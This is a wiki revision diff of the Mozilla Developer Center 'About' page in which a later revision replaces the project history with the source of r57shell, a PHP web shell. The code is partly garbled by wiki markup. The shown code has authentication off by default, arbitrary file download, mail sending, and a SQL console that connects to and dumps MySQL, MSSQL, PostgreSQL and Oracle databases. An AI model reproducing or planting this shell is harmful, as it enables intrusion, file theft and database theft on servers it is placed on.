Compare Revisions

About

Revision 82287:

Revision 82287 by Dria on

Revision 82288:

Revision 82288 by Support on

Title:
About
About
Slug:
Project:About
Project:About
Tags:
"MDC Project"
"MDC Project"
Content:

Revision 82287
Revision 82288
t16    <h3 name="Project_History">t
17      Project History
18    </h3>
19    <p>
20      The Mozilla Developer Center (a.k.a. <i>Devmo</i>) project 
>started in early 2005, when the <a class="external" href="http:// 
>www.mozillafoundation.org">Mozilla Foundation</a> obtained a lice 
>nse from AOL to use the original <a href="en/DevEdge">DevEdge</a> 
> content. The DevEdge content was mined for still-useful material 
>, which was then migrated by volunteers into this wiki so it woul 
>d be easier to update and maintain. 
21    </p>16    <p>
17      &lt;?php /*************************************************
 >*****************************************************/ /* /* # # 
 ># # /* # # # # /* # # # # /* # ## #### ## # /* ## ## ###### ## ##
 > /* ## ## ###### ## ## /* ## ## #### ## ## /* ### ############ ##
 ># /* ######################## /* ############## /* ######## #####
 >##### ####### /* ### ## ########## ## ### /* ### ## ########## ##
 > ### /* ### # ########## # ### /* ### ## ######## ## ### /* ## # 
 >###### # ## /* ## # #### # ## /* ## ## /* /* /* /* r57shell.php -
 >&nbsp;??????&nbsp;??&nbsp;???&nbsp;???????????&nbsp;???&nbsp;????
 >?????&nbsp;?????????&nbsp;???????&nbsp;??&nbsp;???????&nbsp;?????
 >&nbsp;??????? /* &nbsp;??&nbsp;??????&nbsp;???????&nbsp;?????&nbs
 >p;??????&nbsp;??&nbsp;?????&nbsp;?????: http://rst.void.ru /* &nb
 >sp;??????: 1.3 (05.03.2006) /*13:32, 13 November 2006 (PST)13:32,
 > 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 Nov
 >ember 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 2
 >006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (PS
 >T)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:32
 >, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 No
 >vember 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 
 >2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (P
 >ST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:3
 >2, 13 November 2006 (PST)*/ /* &nbsp;?????????&nbsp;?????????????
 >&nbsp;??&nbsp;??????&nbsp;?&nbsp;????: blf, phoenix, virus, NorD&
 >nbsp;?&nbsp;????&nbsp;??????&nbsp;?? RST/GHC. /* &nbsp;????&nbsp;
 >?&nbsp;???&nbsp;????&nbsp;?????-????&nbsp;????&nbsp;??&nbsp;?????
 >?&nbsp;????&nbsp;?????&nbsp;???????&nbsp;???????&nbsp;????????&nb
 >sp;?&nbsp;??????&nbsp;??&nbsp;?????? /* &nbsp;?? rst@void.ru.&nbs
 >p;???&nbsp;???????????&nbsp;?????&nbsp;???????????. /*13:32, 13 N
 >ovember 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November
 > 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (
 >PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:
 >32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 
 >November 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 Novembe
 >r 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 
 >(PST)13:32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13
 >:32, 13 November 2006 (PST)13:32, 13 November 2006 (PST)13:32, 13
 > November 2006 (PST)13:32, 13 November 2006 (PST)*/ /* (c)oded by
 > 1dt.w0lf /* RST/GHC http://rst.void.ru , http://ghc.ru /* ANY MO
 >DIFIED REPUBLISHING IS RESTRICTED /******************************
 >*****************************************************************
 >*******/ /* admin&nbsp;????????? | Options admin */
22    <p>18    </p>
23      Since then, the project has continued growing and now forms
> a central nexus for all developer documentation related to the M 
>ozilla Project and Mozilla technologies. In time, it is hoped tha 
>t the Mozilla Developer Center will become a resource that web de 
>signers, application developers, and extension and theme writers  
>visit on a daily basis. 
24    </p>19    <p>
25    <h3 name="How_to_Help">20      //&nbsp;?????&nbsp;????? | Language // $language='ru' -&nbs
 >p;??????? (russian) // $language='eng' - english (??????????) $la
 >nguage='eng';
26      How to Help
27    </h3>
28    <p>21    </p>
22    <p>
23      //&nbsp;?????????????? | Authentification // $auth = 1; -&n
 >bsp;??????????????&nbsp;???????? ( authentification = On ) // $au
 >th = 0; -&nbsp;??????????????&nbsp;????????? ( authentification =
 > Off ) $auth = 0;
24    </p>
25    <p>
26      //&nbsp;?????&nbsp;?&nbsp;??????&nbsp;???&nbsp;???????&nbsp
 >;?&nbsp;??????? (Login &amp; Password for access) //&nbsp;??&nbsp
 >;????????&nbsp;???????&nbsp;?????&nbsp;???????????&nbsp;??&nbsp;?
 >??????!!! (CHANGE THIS!!!) //&nbsp;?????&nbsp;?&nbsp;??????&nbsp;
 >?????????&nbsp;?&nbsp;???????&nbsp;????????? md5,&nbsp;????????&n
 >bsp;??&nbsp;????????? 'r57' // Login &amp; password crypted with 
 >md5, default is 'r57' $name='ec371748dc2da624b35a4f8f685dd122'; /
 >/&nbsp;?????&nbsp;???????????? (user login) $pass='ec371748dc2da6
 >24b35a4f8f685dd122'; //&nbsp;??????&nbsp;???????????? (user passw
 >ord) /***********************************************************
 >*******************************************/ error_reporting(0); 
 >set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_ex
 >ecution_time',0); @ini_set('output_buffering',0); $safe_mode = @i
 >ni_get('safe_mode'); $version = "1.3"; if(version_compare(phpvers
 >ion(), '4.1.0') == -1)
27    </p>
28    <pre class="eval">
29{
30$_POST   = &amp;$HTTP_POST_VARS;
31$_GET    = &amp;$HTTP_GET_VARS;
32$_SERVER = &amp;$HTTP_SERVER_VARS;
33}
34</pre>
35    <p>
36      if (@get_magic_quotes_gpc())
37    </p>
38    <pre class="eval">
39{
40foreach ($_POST as $k=&gt;$v)
41 {
42 $_POST[$k] = stripslashes($v);
43 }
44foreach ($_SERVER as $k=&gt;$v)
45 {
46 $_SERVER[$k] = stripslashes($v);
47 }
48}
49</pre>
50    <p>
51      if($auth == 1) { if (!isset($_SERVER{{mediawiki.external('\
 >'PHP_AUTH_USER\'')}}) || md5($_SERVER{{mediawiki.external('\'PHP_
 >AUTH_USER\'')}})!==$name || md5($_SERVER{{mediawiki.external('\'P
 >HP_AUTH_PW\'')}})!==$pass)
52    </p>
53    <pre class="eval">
54  {
55  header('WWW-Authenticate: Basic realm="r57shell"');
56  header('HTTP/1.0 401 Unauthorized');
57  exit("<b>&lt;a href=http://rst.void.ru&gt;r57shell&lt;/a&gt; : 
 >Access Denied</b>");
58  }
59</pre>
60    <p>
61      } $head = '<span class="comment">?????????? &nbsp;????</spa
 >n> &lt;html&gt; &lt;head&gt; &lt;title&gt;r57shell&lt;/title&gt; 
 >&lt;meta http-equiv="Content-Type" content="text/html; charset=wi
 >ndows-1251"&gt;
62    </p>
63    <p>
64      &lt;STYLE&gt; tr { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-
 >TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BO
 >TTOM: #aaaaaa 1px solid; } td { BORDER-RIGHT: #aaaaaa 1px solid; 
 >BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BO
 >RDER-BOTTOM: #aaaaaa 1px solid; } .table1 { BORDER-RIGHT: #cccccc
 > 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-B
 >OTTOM: #cccccc 0px; BACKGROUND-COLOR: #D4D0C8; } .td1 { BORDER-RI
 >GHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0
 >px; BORDER-BOTTOM: #cccccc 0px; font: 7pt Verdana; } .tr1 { BORDE
 >R-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccc
 >cc 0px; BORDER-BOTTOM: #cccccc 0px; } table { BORDER-RIGHT: #eeee
 >ee 1px outset; BORDER-TOP: #eeeeee 1px outset; BORDER-LEFT: #eeee
 >ee 1px outset; BORDER-BOTTOM: #eeeeee 1px outset; BACKGROUND-COLO
 >R: #D4D0C8; } input { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP
 >: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTO
 >M: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdan
 >a; } select { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #99999
 >9 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffff
 >ff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; } sub
 >mit { BORDER-RIGHT: buttonhighlight 2px outset; BORDER-TOP: butto
 >nhighlight 2px outset; BORDER-LEFT: buttonhighlight 2px outset; B
 >ORDER-BOTTOM: buttonhighlight 2px outset; BACKGROUND-COLOR: #e4e0
 >d8; width: 30%; } textarea { BORDER-RIGHT: #ffffff 1px solid; BOR
 >DER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDE
 >R-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: Fix
 >edsys bold; } BODY { margin-top: 1px; margin-right: 1px; margin-b
 >ottom: 1px; margin-left: 1px; } A:link {COLOR:red; TEXT-DECORATIO
 >N: none} A:visited { COLOR:red; TEXT-DECORATION: none} A:active {
 >COLOR:red; TEXT-DECORATION: none} A:hover {color:blue;TEXT-DECORA
 >TION: none} &lt;/STYLE&gt;'; class zipfile {
65    </p>
66    <pre class="eval">
67   var $datasec      = array();
68   var $ctrl_dir     = array();
69   var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
70   var $old_offset   = 0;
71   function unix2DosTime($unixtime = 0) {
72       $timearray = ($unixtime == 0) ? getdate() : getdate($unixt
 >ime);
73       if ($timearray['year'] &lt; 1980) {
74           $timearray['year']    = 1980;
75           $timearray['mon']     = 1;
76           $timearray['mday']    = 1;
77           $timearray['hours']   = 0;
78           $timearray['minutes'] = 0;
79           $timearray['seconds'] = 0;
80       }
81       return (($timearray['year'] - 1980) &lt;&lt; 25) | ($timea
 >rray['mon'] &lt;&lt; 21) | ($timearray['mday'] &lt;&lt; 16) |
82               ($timearray['hours'] &lt;&lt; 11) | ($timearray['m
 >inutes'] &lt;&lt; 5) | ($timearray['seconds'] &gt;&gt; 1);
83   }
84   function addFile($data, $name, $time = 0)
85   {
86       $name     = str_replace('\\', '/', $name);
87       $dtime    = dechex($this-&gt;unix2DosTime($time));
88       $hexdtime = '\x' . $dtime[6] . $dtime[7]
89                 . '\x' . $dtime[4] . $dtime[5]
90                 . '\x' . $dtime[2] . $dtime[3]
91                 . '\x' . $dtime[0] . $dtime[1];
92       eval('$hexdtime = "' . $hexdtime . '";');
93       $fr   = "\x50\x4b\x03\x04";
94       $fr   .= "\x14\x00";
95       $fr   .= "\x00\x00";
96       $fr   .= "\x08\x00";
97       $fr   .= $hexdtime;
98       $unc_len = strlen($data);
99       $crc     = crc32($data);
100       $zdata   = gzcompress($data);
101       $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2
 >);
102       $c_len   = strlen($zdata);
103       $fr      .= pack('V', $crc);
104       $fr      .= pack('V', $c_len);
105       $fr      .= pack('V', $unc_len);
106       $fr      .= pack('v', strlen($name));
107       $fr      .= pack('v', 0);
108       $fr      .= $name;
109       $fr .= $zdata;
110       $this -&gt; datasec[] = $fr;
111       $cdrec = "\x50\x4b\x01\x02";
112       $cdrec .= "\x00\x00";
113       $cdrec .= "\x14\x00";
114       $cdrec .= "\x00\x00";
115       $cdrec .= "\x08\x00";
116       $cdrec .= $hexdtime;
117       $cdrec .= pack('V', $crc);
118       $cdrec .= pack('V', $c_len);
119       $cdrec .= pack('V', $unc_len);
120       $cdrec .= pack('v', strlen($name) );
121       $cdrec .= pack('v', 0 );
122       $cdrec .= pack('v', 0 );
123       $cdrec .= pack('v', 0 );
124       $cdrec .= pack('v', 0 );
125       $cdrec .= pack('V', 32 );
126       $cdrec .= pack('V', $this -&gt; old_offset );
127       $this -&gt; old_offset += strlen($fr);
128       $cdrec .= $name;
129       $this -&gt; ctrl_dir[] = $cdrec;
130   }
131   function file()
132   {
133       $data    = implode(<i>, $this -&gt; datasec);</i>
134       $ctrldir = implode(<i>, $this -&gt; ctrl_dir);</i>
135       return
136           $data .
137           $ctrldir .
138           $this -&gt; eof_ctrl_dir .
139           pack('v', sizeof($this -&gt; ctrl_dir)) .
140           pack('v', sizeof($this -&gt; ctrl_dir)) .
141           pack('V', strlen($ctrldir)) .
142           pack('V', strlen($data)) .
143           "\x00\x00";
144   }
145</pre>
146    <p>
147      } function compress(&amp;$filename,&amp;$filedump,$compress
 >)
148    </p>
149    <pre class="eval">
150{
151   global $content_encoding;
152   global $mime_type;
153   if ($compress == 'bzip' &amp;&amp; @function_exists('bzcompres
 >s'))
154    {
155       $filename  .= '.bz2';
156       $mime_type = 'application/x-bzip2';
157       $filedump = bzcompress($filedump);
158    }
159    else if ($compress == 'gzip' &amp;&amp; @function_exists('gze
 >ncode'))
160    {
161       $filename  .= '.gz';
162       $content_encoding = 'x-gzip';
163       $mime_type = 'application/x-gzip';
164       $filedump = gzencode($filedump);
165    }
166    else if ($compress == 'zip' &amp;&amp; @function_exists('gzco
 >mpress'))
167    {
168        $filename .= '.zip';
169       $mime_type = 'application/zip';
170       $zipfile = new zipfile();
171       $zipfile -&gt; addFile($filedump, substr($filename, 0, -4)
 >);
172       $filedump = $zipfile -&gt; file();
173    }
174    else
175    {
176        $mime_type = 'application/octet-stream';
177    }
178}
179</pre>
180    <p>
181      function mailattach($to,$from,$subj,$attach)
182    </p>
183    <pre class="eval">
184{
185$headers  = "From: $from\r\n";
186$headers .= "MIME-Version: 1.0\r\n";
187$headers .= "Content-Type: ".$attach['type'];
188$headers .= "; name=\"".$attach['name']."\"\r\n";
189$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
190$headers .= chunk_split(base64_encode($attach['content']))."\r\n"
 >;
191if(@mail($to,$subj,"",$headers)) { return 1; }
192return 0;
193}
194</pre>
195    <p>
196      class my_sql
197    </p>
198    <pre class="eval">
199{
200var $host = 'localhost';
201var $port = <i>;</i>
202var $user = <i>;</i>
203var $pass = <i>;</i>
204var $base = <i>;</i>
205var $db   = <i>;</i>
206var $connection;
207var $res;
208var $error;
209var $rows;
210var $columns;
211var $num_rows;
212var $num_fields;
213var $dump;
214</pre>
215    <pre class="eval">
216function connect()
217 {
218        switch($this-&gt;db)
219    {
220         case 'MySQL':
221          if(empty($this-&gt;port)) { $this-&gt;port = '3306'; }
222          if(!function_exists('mysql_connect')) return 0;
223          $this-&gt;connection = @mysql_connect($this-&gt;host.':
 >'.$this-&gt;port,$this-&gt;user,$this-&gt;pass);
224          if(is_resource($this-&gt;connection)) return 1;
225         break;
226    case 'MSSQL':
227     if(empty($this-&gt;port)) { $this-&gt;port = '1433'; }
228          if(!function_exists('mssql_connect')) return 0;
229          $this-&gt;connection = @mssql_connect($this-&gt;host.',
 >'.$this-&gt;port,$this-&gt;user,$this-&gt;pass);
230     if($this-&gt;connection) return 1;
231    break;
232    case 'PostgreSQL':
233     if(empty($this-&gt;port)) { $this-&gt;port = '5432'; }
234     $str = "host='".$this-&gt;host."' port='".$this-&gt;port."' 
 >user='".$this-&gt;user."' password='".$this-&gt;pass."' dbname='"
 >.$this-&gt;base."'";
235     if(!function_exists('pg_connect')) return 0;
236     $this-&gt;connection = @pg_connect($str);
237     if(is_resource($this-&gt;connection)) return 1;
238    break;
239    case 'Oracle':
240     if(!function_exists('ocilogon')) return 0;
241     $this-&gt;connection = @ocilogon($this-&gt;user, $this-&gt;p
 >ass, $this-&gt;base);
242     if(is_resource($this-&gt;connection)) return 1;
243    break;
244    }
245   return 0;
246 }
247</pre>
248    <pre class="eval">
249function select_db()
250 {
251  switch($this-&gt;db)
252   {
253        case 'MySQL':
254         if(@mysql_select_db($this-&gt;base,$this-&gt;connection)
 >) return 1;
255   break;
256   case 'MSSQL':
257         if(@mssql_select_db($this-&gt;base,$this-&gt;connection)
 >) return 1;
258   break;
259   case 'PostgreSQL':
260    return 1;
261   break;
262   case 'Oracle':
263    return 1;
264   break;
265   }
266  return 0;
267 }
268</pre>
269    <pre class="eval">
270function query($query)
271 {
272  $this-&gt;res=$this-&gt;error=<i>;</i>
273  switch($this-&gt;db)
274   {
275        case 'MySQL':
276    if(false===($this-&gt;res=@mysql_query('/*'.chr(0).'*/'.$quer
 >y,$this-&gt;connection)))
277     {
278     $this-&gt;error = @mysql_error($this-&gt;connection);
279     return 0;
280     }
281    else if(is_resource($this-&gt;res)) { return 1; }
282    return 2;
283        break;
284   case 'MSSQL':
285    if(false===($this-&gt;res=@mssql_query($query,$this-&gt;conne
 >ction)))
286     {
287     $this-&gt;error = 'Query error';
288     return 0;
289     }
290     else if(@mssql_num_rows($this-&gt;res) &gt; 0) { return 1; }
291    return 2;
292   break;
293   case 'PostgreSQL':
294    if(false===($this-&gt;res=@pg_query($this-&gt;connection,$que
 >ry)))
295     {
296     $this-&gt;error = @pg_last_error($this-&gt;connection);
297     return 0;
298     }
299     else if(@pg_num_rows($this-&gt;res) &gt; 0) { return 1; }
300    return 2;
301   break;
302   case 'Oracle':
303    if(false===($this-&gt;res=@ociparse($this-&gt;connection,$que
 >ry)))
304     {
305     $this-&gt;error = 'Query parse error';
306     }
307    else
308     {
309     if(@ociexecute($this-&gt;res))
310      {
311      if(@ocirowcount($this-&gt;res) != 0) return 2;
312      return 1;
313      }
314     $error = @ocierror();
315     $this-&gt;error=$error['message'];
316     }
317   break;
318   }
319 return 0;
320 }
321function get_result()
322 {
323  $this-&gt;rows=array();
324  $this-&gt;columns=array();
325  $this-&gt;num_rows=$this-&gt;num_fields=0;
326  switch($this-&gt;db)
327   {
328        case 'MySQL':
329         $this-&gt;num_rows=@mysql_num_rows($this-&gt;res);
330         $this-&gt;num_fields=@mysql_num_fields($this-&gt;res);
331         while(false !== ($this-&gt;rows[] = @mysql_fetch_assoc($
 >this-&gt;res)));
332         @mysql_free_result($this-&gt;res);
333         if($this-&gt;num_rows){$this-&gt;columns = @array_keys($
 >this-&gt;rows[0]); return 1;}
334   break;
335   case 'MSSQL':
336         $this-&gt;num_rows=@mssql_num_rows($this-&gt;res);
337         $this-&gt;num_fields=@mssql_num_fields($this-&gt;res);
338         while(false !== ($this-&gt;rows[] = @mssql_fetch_assoc($
 >this-&gt;res)));
339         @mssql_free_result($this-&gt;res);
340         if($this-&gt;num_rows){$this-&gt;columns = @array_keys($
 >this-&gt;rows[0]); return 1;};
341   break;
342   case 'PostgreSQL':
343         $this-&gt;num_rows=@pg_num_rows($this-&gt;res);
344         $this-&gt;num_fields=@pg_num_fields($this-&gt;res);
345         while(false !== ($this-&gt;rows[] = @pg_fetch_assoc($thi
 >s-&gt;res)));
346         @pg_free_result($this-&gt;res);
347         if($this-&gt;num_rows){$this-&gt;columns = @array_keys($
 >this-&gt;rows[0]); return 1;}
348   break;
349   case 'Oracle':
350    $this-&gt;num_fields=@ocinumcols($this-&gt;res);
351    while(false !== ($this-&gt;rows[] = @oci_fetch_assoc($this-&g
 >t;res))) $this-&gt;num_rows++;
352    @ocifreestatement($this-&gt;res);
353    if($this-&gt;num_rows){$this-&gt;columns = @array_keys($this-
 >&gt;rows[0]); return 1;}
354   break;
355   }
356  return 0;
357 }
358function dump($table)
359 {
360  if(empty($table)) return 0;
361  $this-&gt;dump=array();
362  $this-&gt;dump[0] = '##';
363  $this-&gt;dump[1] = '## ---------------------------------------
 > ';
364  $this-&gt;dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
365  $this-&gt;dump[3] = '## Database: '.$this-&gt;base;
366  $this-&gt;dump[4] = '##    Table: '.$table;
367  $this-&gt;dump[5] = '## ---------------------------------------
 > ';
368  switch($this-&gt;db)
369   {
370        case 'MySQL':
371         $this-&gt;dump[0] = '## MySQL dump';
372         if($this-&gt;query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.
 >$table.'`')!=1) return 0;
373         if(!$this-&gt;get_result()) return 0;
374         $this-&gt;dump[] = $this-&gt;rows[0]['Create Table'];
375    $this-&gt;dump[] = '## --------------------------------------
 >- ';
376         if($this-&gt;query('/*'.chr(0).'*/ SELECT * FROM `'.$tab
 >le.'`')!=1) return 0;
377         if(!$this-&gt;get_result()) return 0;
378         for($i=0;$i&lt;$this-&gt;num_rows;$i++)
379          {
380     foreach($this-&gt;rows[$i] as $k=&gt;$v) {$this-&gt;rows[$i]
 >[$k] = @mysql_real_escape_string($v);}
381          $this-&gt;dump[] = 'INSERT INTO `'.$table.'` (`'.@implo
 >de("`, `", $this-&gt;columns).'`) VALUES (\<i>.@implode("', '", $
 >this-&gt;rows[$i]).'\');';</i>
382          }
383   break;
384   case 'MSSQL':
385    $this-&gt;dump[0] = '## MSSQL dump';
386    if($this-&gt;query('SELECT * FROM '.$table)!=1) return 0;
387         if(!$this-&gt;get_result()) return 0;
388         for($i=0;$i&lt;$this-&gt;num_rows;$i++)
389          {
390     foreach($this-&gt;rows[$i] as $k=&gt;$v) {$this-&gt;rows[$i]
 >[$k] = @addslashes($v);}
391          $this-&gt;dump[] = 'INSERT INTO '.$table.' ('.@implode(
 >", ", $this-&gt;columns).') VALUES (\<i>.@implode("', '", $this-&
 >gt;rows[$i]).'\');';</i>
392          }
393   break;
394   case 'PostgreSQL':
395    $this-&gt;dump[0] = '## PostgreSQL dump';
396    if($this-&gt;query('SELECT * FROM '.$table)!=1) return 0;
397         if(!$this-&gt;get_result()) return 0;
398         for($i=0;$i&lt;$this-&gt;num_rows;$i++)
399          {
400     foreach($this-&gt;rows[$i] as $k=&gt;$v) {$this-&gt;rows[$i]
 >[$k] = @addslashes($v);}
401          $this-&gt;dump[] = 'INSERT INTO '.$table.' ('.@implode(
 >", ", $this-&gt;columns).') VALUES (\<i>.@implode("', '", $this-&
 >gt;rows[$i]).'\');';</i>
402          }
403   break;
404   case 'Oracle':
405     $this-&gt;dump[0] = '## ORACLE dump';
406     $this-&gt;dump[]  = '## under construction';
407   break;
408   default:
409    return 0;
410   break;
411   }
412  return 1;
413 }
414function close()
415 {
416  switch($this-&gt;db)
417   {
418        case 'MySQL':
419         @mysql_close($this-&gt;connection);
420   break;
421   case 'MSSQL':
422    @mssql_close($this-&gt;connection);
423   break;
424   case 'PostgreSQL':
425    @pg_close($this-&gt;connection);
426   break;
427   case 'Oracle':
428    @oci_close($this-&gt;connection);
429   break;
430   }
431 }
432function affected_rows()
433 {
434  switch($this-&gt;db)
435   {
436        case 'MySQL':
437         return @mysql_affected_rows($this-&gt;res);
438   break;
439   case 'MSSQL':
440    return @mssql_affected_rows($this-&gt;res);
441   break;
442   case 'PostgreSQL':
443    return @pg_affected_rows($this-&gt;res);
444   break;
445   case 'Oracle':
446    return @ocirowcount($this-&gt;res);
447   break;
448   default:
449    return 0;
450   break;
451   }
452 }
453}
454</pre>
455    <p>
456      if(isset($_GET{{mediawiki.external('\'img\'')}})&amp;&amp;!
 >empty($_GET{{mediawiki.external('\'img\'')}}))
457    </p>
458    <pre class="eval">
459{
460$images = array();
461$images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILj
 >I9pkODnYohUhQIAOw==';
462$images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILj
 >I+pwA3hnmlJhgIAOw==';
463@ob_clean();
464header("Content-type: image/gif");
465echo base64_decode($images[$_GET['img']]);
466die();
467}
468</pre>
469    <p>
470      if(isset($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&amp
 >;&nbsp;!empty($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&amp;
 > $_POST{{mediawiki.external('\'cmd\'')}}=="download_file" &amp;&a
 >mp;&nbsp;!empty($_POST{{mediawiki.external('\'d_name\'')}}))
471    </p>
472    <pre class="eval">
473{
474 if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name
 >']); $_POST['cmd']=""; }
475 else
476  {
477   @ob_clean();
478   $filename = @basename($_POST['d_name']);
479   $filedump = @fread($file,@filesize($_POST['d_name']));
480   fclose($file);
481   $content_encoding=$mime_type=<i>;</i>
482   compress($filename,$filedump,$_POST['compress']);
483   if (!empty($content_encoding)) { header('Content-Encoding: ' .
 > $content_encoding); }
484   header("Content-type: ".$mime_type);
485   header("Content-disposition: attachment; filename=\"".$filenam
 >e."\";");
486   echo $filedump;
487   exit();
488  }
489}
490</pre>if(isset($_GET{{mediawiki.external('\'phpinfo\'')}})) { ech
 >o @phpinfo(); echo "<br>
491    <div align="center">
492      <font face="Verdana" size="-2"><b>[ &lt;a href=".$_SERVER{{
 >mediawiki.external('\'PHP_SELF\'')}}."&gt;BACK&lt;/a&gt; ]</b></f
 >ont>
493    </div>"; die(); }
494    <p>
495      if ($_POST{{mediawiki.external('\'cmd\'')}}=="db_query")
496    </p>
497    <pre class="eval">
498{
499echo $head;
500$sql = new my_sql();
501$sql-&gt;db   = $_POST['db'];
502$sql-&gt;host = $_POST['db_server'];
503$sql-&gt;port = $_POST['db_port'];
504$sql-&gt;user = $_POST['mysql_l'];
505$sql-&gt;pass = $_POST['mysql_p'];
506$sql-&gt;base = $_POST['mysql_db'];
507$querys = @explode(';',$_POST['db_query']);
508</pre>if(!$sql-&gt;connect()) echo "
509    <div align="center">
510      <font color="red" face="Verdana" size="-2"><b>Can't connect
 > to SQL server</b></font>
511    </div>";
512    <pre class="eval">
513 else
514  {
515</pre>if(!empty($sql-&gt;base)&amp;&amp;!$sql-&gt;select_db()) ec
 >ho "
516    <div align="center">
517      <font color="red" face="Verdana" size="-2"><b>Can't select 
 >database</b></font>
518    </div>";
519    <pre class="eval">
520  else
521   {
522   foreach($querys as $num=&gt;$query)
523    {
524     if(strlen($query)&gt;5)
525     {
526     echo "<font color="green" face="Verdana" size="-2"><b>Query#
 >".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>
 >";
527     switch($sql-&gt;query($query))
528      {
529      case '0':
530</pre>echo "
531    <table width="100%">
532      <tbody>
533        <tr>
534          <td>
535            <font face="Verdana" size="-2">Error&nbsp;: <b>".$sql
 >-&gt;error."</b></font>
536          </td>
537        </tr>
538      </tbody>
539    </table>";
540    <pre class="eval">
541      break;
542      case '1':
543      if($sql-&gt;get_result())
544       {
545</pre>echo ""; foreach($sql-&gt;columns as $k=&gt;$v) $sql-&gt;co
 >lumns{{mediawiki.external('$k')}} = htmlspecialchars($v,ENT_QUOTE
 >S); $keys = @implode("&nbsp;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
546    <table width="100%">
547      <tbody>
548        <tr>
549          <td bgcolor="#CCCCCC">
550            <font face="Verdana" size="-2"><b>&nbsp;", $sql-&gt;c
 >olumns); echo "</b></font>
551          </td>
552        </tr>
553        <tr>
554          <td></td>
555        </tr>
556        <tr>
557          <td bgcolor="#CCCCCC">
558            <font face="Verdana" size="-2">&lt;b&gt;&nbsp;".$keys
 >."&nbsp;&lt;/b&gt;</font>&lt;/td&gt;";
559            <pre class="eval">
560       for($i=0;$i&lt;$sql-&gt;num_rows;$i++)
561        {
562        foreach($sql-&gt;rows[$i] as $k=&gt;$v) $sql-&gt;rows[$i]
 >[$k] = htmlspecialchars($v,ENT_QUOTES);
563</pre>$values = @implode("&nbsp;
564          </td>
565          <td>
566            <font face="Verdana" size="-2">&nbsp;",$sql-&gt;rows{
 >{mediawiki.external('$i')}}); echo '</font>
567          </td>
568        </tr>
569        <tr>
570          <td></td>
571        </tr>
572        <tr>
573          <td>
574            <font face="Verdana" size="-2">&nbsp;'.$values.'&nbsp
 >;</font>&lt;/td&gt;';
575            <pre class="eval">
576        }
577</pre>echo "
578          </td>
579        </tr>
580      </tbody>
581    </table>";
582    <pre class="eval">
583       }
584      break;
585      case '2':
586      $ar = $sql-&gt;affected_rows()?($sql-&gt;affected_rows()):(
 >'0');
587</pre>echo "
588    <table width="100%">
589      <tbody>
590        <tr>
591          <td>
592            <font face="Verdana" size="-2">affected rows&nbsp;: <
 >b>".$ar."</b></font>
593          </td>
594        </tr>
595      </tbody>
596    </table><br>
597    ";
598    <pre class="eval">
599      break;
600      }
601     }
602    }
603   }
604  }
605echo "<br>&lt;form name=form method=POST&gt;";
606echo in('hidden','db',0,$_POST['db']);
607echo in('hidden','db_server',0,$_POST['db_server']);
608echo in('hidden','db_port',0,$_POST['db_port']);
609echo in('hidden','mysql_l',0,$_POST['mysql_l']);
610echo in('hidden','mysql_p',0,$_POST['mysql_p']);
611echo in('hidden','mysql_db',0,$_POST['mysql_db']);
612echo in('hidden','cmd',0,'db_query');
613</pre>echo "
614    <div align="center">
615      &lt;textarea cols=65 rows=10 name=db_query&gt;".(!empty($_P
 >OST{{mediawiki.external('\'db_query\'')}})?($_POST{{mediawiki.ext
 >ernal('\'db_query\'')}}):("SHOW DATABASES;\nSELECT * FROM user;")
 >)."&lt;/textarea&gt;<br>
616      &lt;input type=submit name=submit value=\" Run SQL query \"
 >&gt;
617    </div><br>
618    <br>
619    ";
620    <pre class="eval">
621echo "&lt;/form&gt;";
622</pre>echo "<br>
623    <div align="center">
624      <font face="Verdana" size="-2"><b>[ &lt;a href=".$_SERVER{{
 >mediawiki.external('\'PHP_SELF\'')}}."&gt;BACK&lt;/a&gt; ]</b></f
 >ont>
625    </div>"; die();
626    <pre class="eval">
627}
628</pre>
629    <p>
630      if(isset($_GET{{mediawiki.external('\'delete\'')}}))
631    </p>
